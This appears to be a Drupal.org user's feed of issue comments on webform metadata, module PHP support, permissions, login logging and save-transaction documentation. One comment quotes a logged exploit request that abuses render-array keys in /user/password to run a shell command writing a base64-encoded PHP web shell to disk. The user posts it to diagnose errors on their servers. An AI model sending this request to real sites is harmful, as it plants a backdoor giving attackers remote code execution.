In light of the discussion of seanb and berdir in #19 and #20, the most BC friendly way to do this, would be having an configurable flag or indeed an annotation or a settable property, that would allow this to be optional. And maybe in a Major update enforce it, if that's a path we'd want to tale?
I'm not entirely sure I'm in the right place for this. But we're experiencing a probably unwanted side effect which is that webforms now show author information underneath the form, because of the way the patch adds the meta data.
Should webform handle this (and should I create a ticket within that project). Or is this backwards compatibility breaking, and should we handle it differently?
ricardopeters → created an issue.
We see the same as #51 describes, the update helped but not enough unfortunately.
I've got pointed to this issue from the Drupal Slack, where a likewise URL is crafted/used, but receiving a different error. I think it's useful to at least have a reference to it here.
Issue 3340577
🐛
TypeError: Argument 1 passed to Egulias\EmailValidator\EmailValidator::isValid() must be of the type string, null given
Needs work
I haven't gotten to recreating the exact problem, but what I see through logs with servers showing this error, is that they contain the following entry (or a variation of it). I'm quite confident that this is what is causing the errors.
POST /user/password?name[%23post_render][0]=system&name%5B%23markup%5D=echo+PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFW2RdKT09IjE3MDI4ZjQ4N2NiMmE4NDYwNzY0NmRhM2FkMzg3OGVjIil7ZWNobyJvayI7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFtpZF0pKTtpZigkX1BPU1RbInVwIl09PSJ1cCIpe0Bjb3B5KCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7fX0%2FPg%3D%3D%7C+base64+--decode%7C+tee+ddebb4f7dd9f.php
Added the fix in the above fork.
RicardoPeters → created an issue.
A workaroud that worked for us, was going to the yaml of the specific role, remove the `administer * menu items` entry and do a config import.
Updated version, guess this is in any upcoming version, and IMHO is a security related issue because of the "leaking" of data.
RicardoPeters → created an issue.
Therefore, the current dev version of this module is already incompatible with Drupal 9 and PHP 7. Having release 1.31 still support them would require some Git/release acrobatics that I’m not sure I want to attempt. Especially since it could mean problems for other users who do keep their installations up to date.
I certainly agree that is definately not worth the effort, the downgrade to 1.29 shouldn't be that hard if you run into this and you don't have the ability to upgrade Drupal/PHP.
In conclusion, I don’t think I want to attempt to support outdated Drupal and PHP versions with release 1.31, as I’ve already gone ahead and dropped that support. If you cannot update Drupal and/or PHP for some reason (and you certainly should!), please downgrade this module to at least the commit before #3347610: PHP 8.1 preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated HtmlFilter processor.
Should we put this somewhere in the changelog or leave it with this issue?
I ran the patch above on an 8.1 instance with the same issue and found the performance issues had resolved.
So in this case RTBC, thanks for your time and effort!
@drunken monkey I'm not sure but since 1.30 should cover D9.3 (if I read it correctly) shouldn't the code be compliant with php => 7.4. Not really sure how this should be handled with EOL php versions. We ran into an error applying the patch on a php 7.4 server hence the question. I can supply the patch with the fix, but not sure if that would be right?
I messed up the patch of #6, sorry bout that, #7 should be fine
Rerolled patch vs 2.x fixed removed controller, and fixed additions from cleanup calls.
From a security perspective, wouldn't it be interesting to see if people are trying with credentials that maybe don't have existing accounts, for instance former editors or admin/root attacks?
Seeing this comment:
// Only register failed login attempts for existing accounts.
Nice! I just thought of this part:
breaks the PHP execution it may cause a fail in the final save.
I would change it up to this:
breaks the PHP execution it may prevent the sql transaction from committing.
Or do you guys think that's a tad to technical for the documentation? In my opinion it shed's a light on why it wouldn't be saved.
Would it be an idea, to document somewhere that the actual committing(saving) actually happens after the postSave, so any code that breaks the flow will abandon the save? Maybe it's an edge case, but at least having it down in writing might alert people.